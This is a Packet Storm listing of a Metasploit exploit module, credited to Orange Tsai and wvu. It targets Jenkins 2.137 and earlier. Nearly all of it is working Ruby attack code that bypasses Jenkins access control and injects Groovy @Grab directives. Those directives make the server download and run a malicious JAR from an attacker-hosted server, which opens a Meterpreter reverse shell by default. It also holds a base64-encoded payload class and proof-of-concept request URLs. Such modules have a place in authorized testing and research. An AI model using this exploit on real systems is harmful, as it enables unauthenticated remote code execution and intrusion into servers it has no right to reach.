Jenkins ACL Bypass / Metaprogramming Remote Code Execution

2019-03-19T00:00:00
ID PACKETSTORM:152132
Type packetstorm
Reporter Orange Tsai
Modified 2019-03-19T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Jenkins ACL Bypass and Metaprogramming RCE',  
'Description' => %q{  
This module exploits a vulnerability in Jenkins dynamic routing to  
bypass the Overall/Read ACL and leverage Groovy metaprogramming to  
download and execute a malicious JAR file.  
  
The ACL bypass gadget is specific to Jenkins <= 2.137 and will not work  
on later versions of Jenkins.  
  
Tested against Jenkins 2.137 and Pipeline: Groovy Plugin 2.61.  
},  
'Author' => [  
'Orange Tsai', # Discovery and PoC  
'wvu' # Metasploit module  
],  
'References' => [  
['CVE', '2019-1003000'], # Script Security  
['CVE', '2019-1003001'], # Pipeline: Groovy  
['CVE', '2019-1003002'], # Pipeline: Declarative  
['EDB', '46427'],  
['URL', 'https://jenkins.io/security/advisory/2019-01-08/'],  
['URL', 'https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html'],  
['URL', 'https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html'],  
['URL', 'https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc']  
],  
'DisclosureDate' => '2019-01-08', # Public disclosure  
'License' => MSF_LICENSE,  
'Platform' => 'java',  
'Arch' => ARCH_JAVA,  
'Privileged' => false,  
'Targets' => [  
['Jenkins <= 2.137 (Pipeline: Groovy Plugin <= 2.61)',  
'Version' => Gem::Version.new('2.137')  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {'PAYLOAD' => 'java/meterpreter/reverse_https'},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],  
'Reliability' => [REPEATABLE_SESSION]  
},  
'Stance' => Stance::Aggressive # Be aggressive, b-e aggressive!  
))  
  
register_options([  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [true, 'Base path to Jenkins', '/'])  
])  
  
register_advanced_options([  
OptBool.new('ForceExploit', [false, 'Override check result', false])  
])  
  
deregister_options('URIPATH')  
end  
  
=begin  
http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword]  
=end  
def check  
checkcode = CheckCode::Safe  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => go_go_gadget1('/search/index'),  
'vars_get' => {'q' => 'a'}  
)  
  
unless res && (version = res.headers['X-Jenkins'])  
vprint_error('Jenkins not detected')  
return CheckCode::Unknown  
end  
  
vprint_status("Jenkins #{version} detected")  
checkcode = CheckCode::Detected  
  
if Gem::Version.new(version) > target['Version']  
vprint_error("Jenkins #{version} is not a supported target")  
return CheckCode::Safe  
end  
  
vprint_good("Jenkins #{version} is a supported target")  
checkcode = CheckCode::Appears  
  
if res.body.include?('Administrator')  
vprint_good('ACL bypass successful')  
checkcode = CheckCode::Vulnerable  
else  
vprint_error('ACL bypass unsuccessful')  
return CheckCode::Safe  
end  
  
checkcode  
end  
  
def exploit  
unless check == CheckCode::Vulnerable || datastore['ForceExploit']  
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')  
end  
  
# NOTE: Jenkins/Groovy/Ivy uses HTTP unconditionally, so we can't use HTTPS  
# HACK: Both HttpClient and HttpServer use datastore['SSL']  
ssl = datastore['SSL']  
datastore['SSL'] = false  
start_service('Path' => '/')  
datastore['SSL'] = ssl  
  
print_status('Sending Jenkins and Groovy go-go-gadgets')  
send_request_cgi(  
'method' => 'GET',  
'uri' => go_go_gadget1,  
'vars_get' => {'value' => go_go_gadget2}  
)  
end  
  
#  
# Exploit methods  
#  
  
=begin  
http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword  
?apiUrl=http://169.254.169.254/%23  
&login=orange  
&password=tsai  
=end  
def go_go_gadget1(custom_uri = nil)  
# NOTE: See CVE-2018-1000408 for why we don't want to randomize the username  
acl_bypass = normalize_uri(target_uri.path, '/securityRealm/user/admin')  
  
return normalize_uri(acl_bypass, custom_uri) if custom_uri  
  
normalize_uri(  
acl_bypass,  
'/descriptorByName',  
'/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile'  
)  
end  
  
=begin  
http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile  
?value=  
@GrabConfig(disableChecksums=true)%0a  
@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a  
@Grab(group='tw.orange', module='poc', version='1')%0a  
import Orange;  
=end  
def go_go_gadget2  
(  
<<~EOF  
@GrabConfig(disableChecksums=true)  
@GrabResolver('http://#{srvhost_addr}:#{srvport}/')  
@Grab('#{vendor}:#{app}:#{version}')  
import #{app}  
EOF  
).strip  
end  
  
#  
# Payload methods  
#  
  
#  
# If you deviate from the following sequence, you will suffer!  
#  
# HEAD /path/to/pom.xml -> 404  
# HEAD /path/to/payload.jar -> 200  
# GET /path/to/payload.jar -> 200  
#  
def on_request_uri(cli, request)  
vprint_status("#{request.method} #{request.uri} requested")  
  
unless %w[HEAD GET].include?(request.method)  
vprint_error("Ignoring #{request.method} request")  
return  
end  
  
if request.method == 'HEAD'  
if request.uri != payload_uri  
vprint_error('Sending 404')  
return send_not_found(cli)  
end  
  
vprint_good('Sending 200')  
return send_response(cli, '')  
end  
  
if request.uri != payload_uri  
vprint_error('Sending bogus file')  
return send_response(cli, "#{Faker::Hacker.say_something_smart}\n")  
end  
  
vprint_good('Sending payload JAR')  
send_response(  
cli,  
payload_jar,  
'Content-Type' => 'application/java-archive'  
)  
  
# XXX: $HOME may not work in some cases  
register_dir_for_cleanup("$HOME/.groovy/grapes/#{vendor}")  
end  
  
def payload_jar  
jar = payload.encoded_jar  
  
jar.add_file("#{app}.class", exploit_class)  
jar.add_file(  
'META-INF/services/org.codehaus.groovy.plugins.Runners',  
"#{app}\n"  
)  
  
jar.pack  
end  
  
=begin javac Exploit.java  
import metasploit.Payload;  
  
public class Exploit {  
public Exploit(){  
try {  
Payload.main(null);  
} catch (Exception e) { }  
  
}  
}  
=end  
def exploit_class  
klass = Rex::Text.decode_base64(  
<<~EOF  
yv66vgAAADMAFQoABQAMCgANAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYB  
AARDb2RlAQANU3RhY2tNYXBUYWJsZQcAEAcADwwABgAHBwASDAATABQBABNq  
YXZhL2xhbmcvRXhjZXB0aW9uAQAHRXhwbG9pdAEAEGphdmEvbGFuZy9PYmpl  
Y3QBABJtZXRhc3Bsb2l0L1BheWxvYWQBAARtYWluAQAWKFtMamF2YS9sYW5n  
L1N0cmluZzspVgAhAAQABQAAAAAAAQABAAYABwABAAgAAAA3AAEAAgAAAA0q  
twABAbgAAqcABEyxAAEABAAIAAsAAwABAAkAAAAQAAL/AAsAAQcACgABBwAL  
AAAA  
EOF  
)  
  
# Replace length-prefixed string "Exploit" with a random one  
klass.sub(/.Exploit/, "#{[app.length].pack('C')}#{app}")  
end  
  
#  
# Utility methods  
#  
  
def payload_uri  
"/#{vendor}/#{app}/#{version}/#{app}-#{version}.jar"  
end  
  
def vendor  
@vendor ||= Faker::App.author.split(/[^[:alpha:]]/).join  
end  
  
def app  
@app ||= Faker::App.name.split(/[^[:alpha:]]/).join  
end  
  
def version  
@version ||= Faker::App.semantic_version  
end  
  
end  
`